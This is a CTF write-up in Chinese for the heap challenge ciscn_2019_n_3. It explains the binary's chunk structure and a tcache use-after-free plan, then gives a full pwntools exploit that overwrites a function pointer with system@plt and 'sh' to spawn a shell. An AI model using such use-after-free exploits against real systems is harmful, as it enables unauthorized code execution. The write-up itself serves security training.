ciscn_2019_n_3

Monday, January 2, 2023
本文共919字
2分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/ciscn_2019_n_3/。商业转载请联系作者获得授权,非商业转载请注明出处!

Courage is going from failure to failure without losing enthusiasm. — Winston Churchill

原题链接

checksec查看程序架构

文内图片

ida查看伪C代码

文内图片

菜单堆题,只有三个功能,分配空间,释放空间,显示内容,无法在分配了空间后更改空间的内容,这意味着我们要在分配空间的时候就把payload放进去

allocate

文内图片

可以看到,分配的空间有两种类型可选:

  • 一种是字符串型,会分配第二块空间,同时这块空间的大小在0x400以下任选
  • 一种是数字型,不会分配第二块空间,只会分配第一块大小为0xC的空间

同时,我们发现,释放空间和显示内容的函数是存放在第一次分配的空间中的,因此这个结构类似于:

struct chunk{
	void* show;
	void* remove;
	void* content; //因为32位系统中int大小等于指针大小,所以这个content可以复用保存int
}

那么我们的思路大概就是通过tcache bin的LIFO原则释放后再分配实现错位,控制两个函数指针后,再通过UAF二次释放chunk

exp

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = False
fn: str = "./ciscn_2019_n_3"
libc_name: str = "/lib/i386-linux-gnu/libc.so.6"
port: str = "25949"
if_32: bool = True
if_debug: bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        b* 0x804899C
                        c
                        """)
    else:
        p = process(fn)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)


def suclog(**kwargs):
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")


def send_after_clean(content: bytes = b"", until: bytes = None,
                     timeout: float = 0.05, no_show: bool = True) -> bytes:
    if until is not None:
        p.recvuntil(flat(until))
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.send(flat(content))
    return received


def sendline_after_clean(content: bytes = b"", until: bytes = None,
                         timeout: float = 0.05, no_show: bool = True) -> bytes:
    send_after_clean([content, p.newline], until, timeout, no_show)


def interactive_after_clean(timeout: int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.interactive()


def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")


def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)


def recv_and_transform(prev_string: str = None, from_bytes: bool = True,
                       is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)


def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")


...


def allocate(index: int, size: int, type: int, content: bytes) -> None:
    sendline_after_clean(b"1")
    sendline_after_clean(str(index))
    sendline_after_clean(str(type))
    if type == 2:
        sendline_after_clean(str(size))
    sendline_after_clean(content)


def remove(index: int) -> None:
    sendline_after_clean(b"2")
    sendline_after_clean(str(index))


def show(index: int):
    sendline_after_clean(b"3")
    sendline_after_clean(str(index))

# def change(index: int, content: bytes) -> None:
#     sendline_after_clean(b"4")
#     sendline_after_clean(str(index))
#     sendline_after_clean(content)


allocate(0, 0xC, 2, "0")
allocate(1, 0x80, 1, "1")
remove(0)
remove(1)

payload = flat([
    "sh\x00\x00",
    m_elf.plt['system']
])
allocate(2, 0xC, 2, payload)

remove(0)

interactive_after_clean()